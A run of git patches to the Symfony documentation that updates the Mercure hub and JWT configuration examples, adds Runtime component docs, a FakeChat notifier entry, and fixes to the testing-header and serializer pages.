From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 31 Mar 2021 09:17:13 +0200
Subject: [PATCH 0649/5766] [Notifier][FakeChat] add docs

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index e23c85aeefa..459f7d406b7 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -153,6 +153,7 @@ integration with these chat services:
 Service     Package                           DSN
 ==========  ================================  ===========================================================================
 Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
+FakeChat    ``symfony/fake-chat-notifier``    ``fakechat+email://MAILER_SERVICE_ID?to=TO&from=FROM``
 Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@default``
 Gitter      ``symfony/gitter-notifier``       ``GITTER_DSN=gitter://TOKEN@default?room_id=ROOM_ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
@@ -178,7 +179,7 @@ Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:TOKEN@HOST?channel
 
 .. versionadded:: 5.3
 
-    The Gitter and Mercure integrations were introduced in Symfony 5.3.
+    The Gitter, Mercure and FakeChat integrations were introduced in Symfony 5.3.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 8e5d9bcaaee6bf5bb55b927331f470a66352f04e Mon Sep 17 00:00:00 2001
From: ferror <zmalcherczyk@gmail.com>
Date: Mon, 5 Apr 2021 16:46:16 +0200
Subject: [PATCH 0650/5766] Every custom header in testing client must have
 HTTP prefix

---
 testing.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/testing.rst b/testing.rst
index 130ed0ab2ae..d6fa9774a1b 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1029,6 +1029,10 @@ You can also override HTTP headers on a per request basis::
         'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
     ]);
 
+.. caution::
+
+    Every custom header must have `HTTP_` prefix.
+
 .. tip::
 
     The test client is available as a service in the container in the ``test``

From cc0337ca95bcdf1ecec0c3db32cfedb81e2911cd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 Apr 2021 13:36:11 +0200
Subject: [PATCH 0651/5766] Added more details to the explanation

---
 testing.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index d6fa9774a1b..12bd6c74524 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1031,7 +1031,10 @@ You can also override HTTP headers on a per request basis::
 
 .. caution::
 
-    Every custom header must have `HTTP_` prefix.
+    The name of your custom headers must follow the syntax defined in the
+    `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into
+    uppercase and prefix the result with ``HTTP_``. For example, if your
+    header name is ``X-Session-Token``, pass ``HTTP_X_SESSION_TOKEN``.
 
 .. tip::
 
@@ -1128,3 +1131,4 @@ Learn more
 .. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php
 .. _`data providers`: https://phpunit.de/manual/current/en/writing-tests-for-phpunit.html#writing-tests-for-phpunit.data-providers
 .. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html
+.. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From 0e53eb0a675ccd1f64948fd0b000016bc409be26 Mon Sep 17 00:00:00 2001
From: azjezz <azjezz@protonmail.com>
Date: Wed, 24 Mar 2021 12:19:38 +0100
Subject: [PATCH 0652/5766] update mercure documentation

---
 mercure.rst | 169 +++++++++++++++++++++++++++++++++++-----------------
 1 file changed, 114 insertions(+), 55 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index f32e8eee6a8..d67609f659a 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -159,20 +159,19 @@ service, including controllers::
     namespace App\Controller;
 
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\PublisherInterface;
+    use Symfony\Component\Mercure\HubInterface;
     use Symfony\Component\Mercure\Update;
 
     class PublishController
     {
-        public function __invoke(PublisherInterface $publisher): Response
+        public function __invoke(HubInterface $hub): Response
         {
             $update = new Update(
                 'http://example.com/books/1',
                 json_encode(['status' => 'OutOfStock'])
             );
 
-            // The Publisher service is an invokable object
-            $publisher($update);
+            $hub->publish($update);
 
             return new Response('published!');
         }
@@ -297,17 +296,14 @@ by using the ``AbstractController::addLink`` helper method::
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\WebLink\Link;
+    use Symfony\Component\Mercure\Discovery;
 
     class DiscoverController extends AbstractController
     {
-        public function __invoke(Request $request): JsonResponse
+        public function __invoke(Request $request, Discovery $discovery): JsonResponse
         {
-            // This parameter is automatically created by the MercureBundle
-            $hubUrl = $this->getParameter('mercure.default_hub');
-
             // Link: <http://localhost:3000/.well-known/mercure>; rel="mercure"
-            $this->addLink($request, new Link('mercure', $hubUrl));
+            $discovery->addLink($request);
 
             return $this->json([
                 '@id' => '/books/1',
@@ -346,13 +342,13 @@ of the ``Update`` constructor to ``true``::
     // src/Controller/Publish.php
     namespace App\Controller;
 
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\PublisherInterface;
     use Symfony\Component\Mercure\Update;
 
-    class PublishController
+    class PublishController extends AbstractController
     {
-        public function __invoke(PublisherInterface $publisher): Response
+        public function __invoke(HubInterface $hub): Response
         {
             $update = new Update(
                 'http://example.com/books/1',
@@ -362,7 +358,7 @@ of the ``Update`` constructor to ``true``::
 
             // Publisher's JWT must contain this topic, a URI template it matches or * in mercure.publish or you'll get a 401
             // Subscriber's JWT must contain this topic, a URI template it matches or * in mercure.subscribe to receive the update
-            $publisher($update);
+            $hub->publish($update);
 
             return new Response('private update published!');
         }
@@ -406,44 +402,71 @@ This cookie will be automatically sent by the web browser when connecting to the
 Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors
 from it.
 
-To generate the JWT, we'll use the ``lcobucci/jwt`` library. Install it:
+add your JWT secret to the configuration as follow ::
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mercure.yaml
+        mercure:
+            hubs:
+                default:
+                    url: https://mercure-hub.example.com/.well-known/mercure
+                    jwt:
+                        secret: '!ChangeMe!'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mercure.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <config>
+            <hub
+                name="default"
+                url="https://mercure-hub.example.com/.well-known/mercure"
+            >
+                <jwt secret="!ChangeMe!"/>
+            </hub>
+        </config>
+
+    .. code-block:: php
 
-    $ composer require lcobucci/jwt
+        // config/packages/mercure.php
+        $container->loadFromExtension('mercure', [
+            'hubs' => [
+                'default' => [
+                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
+                    'jwt' => [
+                        'secret' => '!ChangeMe!',
+                    ]
+                ],
+            ],
+        ]);
 
 And here is the controller::
 
     // src/Controller/DiscoverController.php
     namespace App\Controller;
 
-    use Lcobucci\JWT\Configuration;
-    use Lcobucci\JWT\Signer\Hmac\Sha256;
-    use Lcobucci\JWT\Signer\Key;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\WebLink\Link;
+    use Symfony\Component\Mercure\Authorization;
+    use Symfony\Component\Mercure\Discovery;
 
     class DiscoverController extends AbstractController
     {
-        public function __invoke(Request $request): Response
+        public function __invoke(Request $request, Discovery $discovery, Authorization $authorization): Response
         {
-            $hubUrl = $this->getParameter('mercure.default_hub');
-            $this->addLink($request, new Link('mercure', $hubUrl));
-
-            $key = Key\InMemory::plainText('mercure_secret_key'); // don't forget to set this parameter! Test value: !ChangeMe!
-            $configuration = Configuration::forSymmetricSigner(new Sha256(), $key);
+            $discovery->addLink($request);
 
-            $token = $configuration->builder()
-                ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
-                ->getToken($configuration->signer(), $configuration->signingKey())
-                ->toString();
+            $response = new JsonResponse([
+                '@id' => '/demo/books/1',
+                'availability' => 'https://schema.org/InStock'
+            ]);
 
-            $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']);
-            $response->headers->set(
-                'set-cookie',
-                sprintf('mercureAuthorization=%s; path=/.well-known/mercure; secure; httponly; SameSite=strict', $token)
+            $response->headers->setCookie(
+                $authorization->createCookie($request,  ["http://example.com/books/1"])
             );
 
             return $response;
@@ -459,15 +482,17 @@ Programmatically Generating The JWT Used to Publish
 ---------------------------------------------------
 
 Instead of directly storing a JWT in the configuration,
-you can create a service that will return the token used by
-the ``Publisher`` object::
+you can create a token provider that will return the token used by
+the ``HubInterface`` object::
 
-    // src/Mercure/MyJwtProvider.php
+    // src/Mercure/MyTokenProvider.php
     namespace App\Mercure;
 
-    final class MyJwtProvider
+    use Symfony\Component\Mercure\JWT\TokenProviderInterface;
+
+    final class MyTokenProvider implements TokenProviderInterface
     {
-        public function __invoke(): string
+        public function getToken(): string
         {
             return 'the-JWT';
         }
@@ -484,7 +509,8 @@ Then, reference this service in the bundle configuration:
             hubs:
                 default:
                     url: https://mercure-hub.example.com/.well-known/mercure
-                    jwt_provider: App\Mercure\MyJwtProvider
+                    jwt:
+                        provider: App\Mercure\MyTokenProvider
 
     .. code-block:: xml
 
@@ -494,8 +520,9 @@ Then, reference this service in the bundle configuration:
             <hub
                 name="default"
                 url="https://mercure-hub.example.com/.well-known/mercure"
-                jwt-provider="App\Mercure\MyJwtProvider"
-            />
+            >
+                <jwt provider="App\Mercure\MyTokenProvider"/>
+            </hub>
         </config>
 
     .. code-block:: php
@@ -507,7 +534,9 @@ Then, reference this service in the bundle configuration:
             'hubs' => [
                 'default' => [
                     'url' => 'https://mercure-hub.example.com/.well-known/mercure',
-                    'jwt_provider' => MyJwtProvider::class,
+                    'jwt' => [
+                        'provider' => MyJwtProvider::class,
+                    ]
                 ],
             ],
         ]);
@@ -568,29 +597,59 @@ its Mercure support.
 Testing
 --------
 
-During functional testing there is no need to send updates to Mercure. They will
-be handled by a stub publisher::
+During unit testing there is not need to send updates to Mercure.
+
+You can instead make use of the `MockHub`::
+
+    // tests/Functional/.php
+    namespace App\Tests\Unit\Controller;
 
-    // tests/Functional/Fixtures/PublisherStub.php
+    use App\Controller\MessageController;
+    use Symfony\Component\Mercure\HubInterface;
+    use Symfony\Component\Mercure\JWT\StaticTokenProvider;
+    use Symfony\Component\Mercure\MockHub;
+    use Symfony\Component\Mercure\Update;
+
+    class MessageControllerTest extends TestCase
+    {
+        public function testPublishing()
+        {
+            $hub = new MockHub('default', 'https://internal/.well-known/mercure', new StaticTokenProvider('foo'), function(Update $update): string {
+                // $this->assertTrue($update->isPrivate());
+
+                return 'id';
+            });
+
+            $controller = new MessageController($hub);
+
+            ...
+        }
+    }
+
+During functional testing you can instead decorate the Hub::
+
+    // tests/Functional/Fixtures/HubStub.php
     namespace App\Tests\Functional\Fixtures;
 
-    use Symfony\Component\Mercure\PublisherInterface;
+    use Symfony\Component\Mercure\HubInterface;
     use Symfony\Component\Mercure\Update;
 
-    class PublisherStub implements PublisherInterface
+    class HubStub implements HubInterface
     {
-        public function __invoke(Update $update): string
+        public function publish(Update $update): string
         {
-            return '';
+            return 'id';
         }
+
+        // implement rest of HubInterface methods here
     }
 
-PublisherStub decorates the default publisher service so no updates are actually
-sent. Here is the PublisherStub implementation::
+HubStub decorates the default hub service so no updates are actually
+sent. Here is the HubStub implementation::
 
     # config/services_test.yaml
-    App\Tests\Functional\Fixtures\PublisherStub:
-        decorates: mercure.hub.default.publisher
+    App\Tests\Functional\Fixtures\HubStub:
+        decorates: mercure.hub.default
 
 
 Debugging

From 09b1c98830c5712052824df30375788a2eb37881 Mon Sep 17 00:00:00 2001
From: Guillaume Sarramegna <13528732+sarramegnag@users.noreply.github.com>
Date: Tue, 30 Mar 2021 19:14:37 +0200
Subject: [PATCH 0653/5766] Standardize built-in normalizers lists

---
 serializer/normalizers.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index 50352e29c85..224fb809bcc 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -27,13 +27,13 @@ Symfony includes the following normalizers but you can also
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to
   normalize PHP object using the :doc:`PropertyAccess component </components/property_access>`;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-  for :phpclass:`DateTimeZone` objects
+  for :phpclass:`DateTimeZone` objects;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for
-  objects implementing the :phpclass:`DateTimeInterface` interface
+  objects implementing the :phpclass:`DateTimeInterface` interface;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-  for :phpclass:`DateInterval` objects
+  for :phpclass:`DateInterval` objects;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` to
-  transform :phpclass:`SplFileInfo` objects in `Data URIs`_
+  transform :phpclass:`SplFileInfo` objects in `Data URIs`_;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` to
   normalize PHP object using an object that implements
   :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
@@ -43,11 +43,13 @@ Symfony includes the following normalizers but you can also
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` to
   normalize PHP object using the getter and setter methods of the object;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` to
-  normalize PHP object using `PHP reflection`_.
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface
+  normalize PHP object using `PHP reflection`_;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-  to deal with objects implementing the :phpclass:`JsonSerializable` interface
+  to deal with objects implementing the :phpclass:`JsonSerializable` interface;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer` converts objects that implement :class:`Symfony\\Component\\Uid\\AbstractUid` into strings and denormalizes uuid or ulid strings to :class:`Symfony\\Component\\Uid\\Uuid` or :class:`Symfony\\Component\\Uid\\Ulid`.
+
 
 .. _`Data URIs`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
 .. _`PHP reflection`: https://php.net/manual/en/book.reflection.php

From 6c728236ebf666002fb73fe9b5c53e6b65d3aeb9 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 6 Apr 2021 22:15:12 +0200
Subject: [PATCH 0654/5766] [HttpFoundation] Remove extra space

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 980eb597c3b..0fa78dc6439 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -633,7 +633,7 @@ handling, switching to chunked encoding instead::
     use Symfony\Component\HttpFoundation\BinaryFileResponse;
     use Symfony\Component\HttpFoundation\File\Stream;
 
-    $stream  = new Stream('path/to/stream');
+    $stream = new Stream('path/to/stream');
     $response = new BinaryFileResponse($stream);
 
 .. note::

From 7388cc941f0c6bf084ecfe4de2cfb025fc00047b Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 9 Mar 2021 18:34:08 +0100
Subject: [PATCH 0655/5766] Init Runtime docs

---
 components/runtime.rst | 417 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 417 insertions(+)
 create mode 100644 components/runtime.rst

diff --git a/components/runtime.rst b/components/runtime.rst
new file mode 100644
index 00000000000..760b10397a4
--- /dev/null
+++ b/components/runtime.rst
@@ -0,0 +1,417 @@
+.. index::
+   single: Runtime
+   single: Components; Runtime
+
+The Runtime Component
+======================
+
+    The Runtime Component decouples the bootstrapping logic from any global state
+    to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
+    Swoole etc without any changes.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/runtime
+
+.. include:: /components/require_autoload.rst.inc
+
+Usage
+-----
+
+The Runtime component allows you to write front-controllers in a generic way
+and with use of configuration you may change the behavior. Let's consider the
+``public/index.php`` as an example. It will return a callable which will create
+and return the application::
+
+    <?php
+    // public/index.php
+    use App\Kernel;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (array $context) {
+        return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+    };
+
+The special ``autoload_runtime.php`` is automatically created when composer dumps
+the autoload files since the component includes a composer plugin. The ``autoload_runtime.php``
+will instantiate a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`, its job
+is to take the callable and resolve the arguments (``array $context``). Then it calls
+the callable to get the application ``App\Kernel``. At last it will run the application,
+ie calling ``$kernel->handle(Request::createFromGlobals())->send()``.
+
+To make a console application, the same bootstrap code would look like::
+
+    #!/usr/bin/env php
+    <?php
+    // bin/console
+
+    use App\Kernel;
+    use Symfony\Bundle\FrameworkBundle\Console\Application;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (array $context) {
+        $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+        return new Application($kernel);
+    };
+
+Selecting Runtimes
+------------------
+
+The default Runtime is :class:`Symfony\\Component\\Runtime\\SymfonyRuntime`, it
+works excellent on most applications running with a webserver like Nginx and Apache,
+and PHP-FPM. You may change Runtime to :class:`Symfony\\Component\\Runtime\\GenericRuntime`
+or a custom Runtime for Swoole or Aws Lambda. This can be done by specifying the
+Runtime class in the ``APP_RUNTIME`` environment variable or to specify the
+``extra.runtime.class`` in ``composer.json``.
+
+.. code-block:: json
+
+    {
+        "require": {
+            "...": "..."
+        },
+        "extra": {
+            "runtime": {
+                "class": "Symfony\\Component\\Runtime\\GenericRuntime"
+            }
+        }
+    }
+
+Using SymfonyRuntime
+--------------------
+
+The :class:`Symfony\\Component\\Runtime\\RuntimeInterface` has two methods. One
+to get an instance of :class:`Symfony\\Component\\Runtime\\ResolverInterface`
+that prepares the arguments to the callable and one get an instance of
+:class:`Symfony\\Component\\Runtime\\RunnerInterface` to run the application.
+
+The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` supports a number of
+arguments and different applications.
+
+Resolvable Arguments
+~~~~~~~~~~~~~~~~~~~~
+
+The closure returned from the script may have zero or more arguments.::
+
+    <?php
+    // public/index.php
+    use Symfony\Component\Console\Input\InputInterface;
+    use Symfony\Component\Console\Output\OutputInterface;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (InputInterface $input, OutputInterface $output) {
+        // ...
+    };
+
+
+``:class:`Symfony\\Component\\HttpFoundation\\Request` $request``
+    A request created from globals.
+
+``:class:`Symfony\\Component\\Console\\Input\\InputInterface` $input``
+    An input to read options and arguments.
+
+``:class:`Symfony\\Component\\Console\\Output\\OutputInterface` $output``
+    Console output to print to the CLI with style.
+
+``:class:`Symfony\\Component\\Console\\Application` $application``
+    An application for creating CLI applications.
+
+``:class:`Symfony\\Component\\Command\\Command` $command``
+    For creating one line command CLI applications.
+
+``array $context``
+    This is the same as ``$_SERVER`` + ``$_ENV``
+
+``array $argv``
+    The arguments passed to the command. Same as ``$_SERVER['argv']``
+
+``array $request``
+    With keys ``query``, ``body``, ``files`` and ``session``.
+
+Resolvable Applications
+~~~~~~~~~~~~~~~~~~~~~~~
+
+The application returned by the closure below is a Symfony Kernel. However, the
+:class:`Symfony\\Component\\Runtime\\SymfonyRuntime` supports a number of
+different applications.::
+
+    <?php
+    // public/index.php
+    use App\Kernel;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function () {
+        return new Kernel('prod', false);
+    };
+
+``:class:`Symfony\\Component\\HttpKernel\\HttpKernelInterface```
+    The application will be executed with :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\HttpKernelRunner``
+    just like a "standard" Symfony application.
+
+``:class:`Symfony\\Component\\HttpFoundation\\Response```
+    The Response will be printed by
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner``.::
+
+        <?php
+        // public/index.php
+        use Symfony\Component\HttpFoundation\Response;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            return new Response('Hello world');
+        };
+
+``:class:`Symfony\\Component\\Console\\Command\\Command```
+    To write one command applications. This will use the
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``.::
+
+        <?php
+
+        use Symfony\Component\Console\Command\Command;
+        use Symfony\Component\Console\Input\InputInterface;
+        use Symfony\Component\Console\Output\OutputInterface;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function (Command $command) {
+            $command->setCode(function (InputInterface $input, OutputInterface $output) {
+                $output->write('Hello World');
+            });
+
+            return $command;
+        };
+
+``:class:`Symfony\\Component\\Console\\Application```
+    Useful with console applications with more than one command. This will use the
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``.::
+
+        <?php
+
+        use Symfony\Component\Console\Application;
+        use Symfony\Component\Console\Command\Command;
+        use Symfony\Component\Console\Input\InputInterface;
+        use Symfony\Component\Console\Output\OutputInterface;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function (array $context) {
+            $command = new Command('hello');
+            $command->setCode(function (InputInterface $input, OutputInterface $output) {
+                $output->write('Hello World');
+            });
+
+            $app = new Application();
+            $app->add($command);
+            $app->setDefaultCommand('hello', true);
+
+            return $app;
+        };
+
+``:class:`Symfony\\Component\\Runtime\\RunnerInterface```
+    The ``RuntimeInterface`` is a way to use a custom application with the
+    generic Runtime.::
+
+        <?php
+        // public/index.php
+        use Symfony\Component\Runtime\RunnerInterface;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            return new class implements RunnerInterface {
+                public function run(): int
+                {
+                    echo 'Hello World';
+
+                    return 0;
+                }
+
+            };
+        };
+
+``callable``
+    Your "application" can also be a ``callable``. The first callable will return
+    the "application" and the second callable is the "application" itself.::
+
+        <?php
+        // public/index.php
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            $app = function() {
+                echo 'Hello World';
+
+                return 0;
+            };
+
+            return $app;
+        };
+
+``void``
+    If the callable doesn't return anything, the ``SymfonyRuntime`` will assume
+    everything is fine.::
+
+        <?php
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            echo 'Hello world';
+        };
+
+
+Using Options
+~~~~~~~~~~~~~
+
+The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` supports a number of
+options. They can be passed to the constructor in two ways. First by specifying
+options to ``APP_RUNTIME_OPTIONS`` environment variable.::
+
+    <?php
+
+    $_SERVER['APP_RUNTIME_OPTIONS'] = [
+        'project_dir' => '/var/task',
+    ];
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    // ...
+
+The second way to pass an option to ``SymfonyRuntime::__construct()`` is to use
+``extra.runtime.options`` in ``composer.json``.
+
+.. code-block:: json
+
+    {
+        "require": {
+            "...": "..."
+        },
+        "extra": {
+            "runtime": {
+                "options": {
+                    "project_dir": "/var/task"
+                }
+            }
+        }
+    }
+
+.. note::
+
+    The environment variable ``APP_DEBUG`` has special support to easily
+    turn on and off debugging.
+
+Creating Your Own Runtime
+-------------------------
+
+This is an advanced topic that describes the internals of the Runtime component.
+
+Using the runtime component will benefit maintainers because the bootstrap logic
+could be versioned as a part of a normal package. If the application author decides
+to use this component, the package maintainer of the Runtime class will have more
+control and can fix bugs and add features.
+
+-- note::
+
+    Before Symfony 5.3, the boostrap logic was part of a Flex recipe. Since recipes
+    are rarely updated by users, bug patches would rarely be installed.
+
+The Runtime component is designed to be totally generic and able to run any application
+outside of the global state in 6 steps:
+
+ 1. The main entry point returns a callable (A) that wraps the application
+ 2. Callable (A) is passed to ``RuntimeInterface::getResolver()``, which returns a
+    ``ResolverInterface``. This resolver returns an array with the callable (A)
+    (or something that decorates the callable (A)) at index 0, and all its resolved
+    arguments at index 1.
+ 3. The callable A is invoked with its arguments, it will return an object that
+    represents the application (B).
+ 4. That object (B) is passed to ``RuntimeInterface::getRunner()``, which returns a
+    ``RunnerInterface``: an instance that knows how to "run" the object (B).
+ 5. The ``RunnerInterface::run($objectB)`` is executed and it returns the exit status
+    code as `int`.
+ 6. The PHP engine is exited with this status code.
+
+When creating a new runtime, there are two things to consider: First, what arguments
+will the end user use? Second, what will the user's application look like?
+
+To create a runtime for ReactPHP, we see that no special arguments are typically
+required. We will use the standard arguments provided by :class:`Symfony\\Component\\Runtime\\GenericRuntime`
+by extending tha class. But a ReactPHP application will need some special logic
+to run. That logic is added in a new class implementing :class:`Symfony\\Component\\Runtime\\RunnerInterface`::
+
+    use Psr\Http\Message\ServerRequestInterface;
+    use Symfony\Component\Runtime\RunnerInterface;
+
+    class ReactPHPRunner implements RunnerInterface
+    {
+        private $application;
+        private $port;
+
+        public function __construct(RequestHandlerInterface $application, int $port)
+        {
+            $this->application = $application;
+            $this->port = $port;
+        }
+
+        public function run(): int
+        {
+            $application = $this->application;
+            $loop = \React\EventLoop\Factory::create();
+
+            $server = new \React\Http\Server($loop, function (ServerRequestInterface $request) use ($application) {
+                return $application->handle($request);
+            });
+
+            $socket = new \React\Socket\Server($this->port, $loop);
+            $server->listen($socket);
+
+            $loop->run();
+
+            return 0;
+        }
+    }
+
+Now we should create a new :class:`Symfony\\Component\\Runtime\\RuntimeInterface`
+that is using our ``ReactPHPRunner``::
+
+    use Symfony\Component\Runtime\GenericRuntime;
+    use Symfony\Component\Runtime\RunnerInterface;
+
+    class ReactPHPRuntime extends GenericRuntime
+    {
+        private $port;
+
+        public function __construct(array $options)
+        {
+            $this->port = $options['port'] ?? 8080;
+            parent::__construct($options);
+        }
+
+        public function getRunner(?object $application): RunnerInterface
+        {
+            if ($application instanceof RequestHandlerInterface) {
+                return new ReactPHPRunner($application, $this->port);
+            }
+
+            return parent::getRunner($application);
+        }
+    }
+
+The end user will now be able to create front controller like::
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (array $context) {
+        return new Psr15Application();
+    };
+
+

From 06414b72271a50303eaf138a8bc7c50b4ab0fdc2 Mon Sep 17 00:00:00 2001
From: Tobias Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 12 Mar 2021 11:47:32 +0100
Subject: [PATCH 0656/5766] Apply suggestions from code review

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 components/runtime.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 760b10397a4..86e3814ee0c 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -65,7 +65,7 @@ Selecting Runtimes
 The default Runtime is :class:`Symfony\\Component\\Runtime\\SymfonyRuntime`, it
 works excellent on most applications running with a webserver like Nginx and Apache,
 and PHP-FPM. You may change Runtime to :class:`Symfony\\Component\\Runtime\\GenericRuntime`
-or a custom Runtime for Swoole or Aws Lambda. This can be done by specifying the
+or a custom Runtime for Swoole or AWS Lambda. This can be done by specifying the
 Runtime class in the ``APP_RUNTIME`` environment variable or to specify the
 ``extra.runtime.class`` in ``composer.json``.
 
@@ -82,8 +82,8 @@ Runtime class in the ``APP_RUNTIME`` environment variable or to specify the
         }
     }
 
-Using SymfonyRuntime
---------------------
+Using the SymfonyRuntime
+------------------------
 
 The :class:`Symfony\\Component\\Runtime\\RuntimeInterface` has two methods. One
 to get an instance of :class:`Symfony\\Component\\Runtime\\ResolverInterface`
@@ -309,8 +309,8 @@ The second way to pass an option to ``SymfonyRuntime::__construct()`` is to use
     The environment variable ``APP_DEBUG`` has special support to easily
     turn on and off debugging.
 
-Creating Your Own Runtime
--------------------------
+Create Your Own Runtime
+-----------------------
 
 This is an advanced topic that describes the internals of the Runtime component.
 
@@ -319,7 +319,7 @@ could be versioned as a part of a normal package. If the application author deci
 to use this component, the package maintainer of the Runtime class will have more
 control and can fix bugs and add features.
 
--- note::
+.. note::
 
     Before Symfony 5.3, the boostrap logic was part of a Flex recipe. Since recipes
     are rarely updated by users, bug patches would rarely be installed.
@@ -413,5 +413,3 @@ The end user will now be able to create front controller like::
     return function (array $context) {
         return new Psr15Application();
     };
-
-

From e7bacf17fae9eee8223b24a302bd1695ffefe913 Mon Sep 17 00:00:00 2001
From: Tobias Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 16 Mar 2021 08:57:48 +0100
Subject: [PATCH 0657/5766] Apply suggestions from code review
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

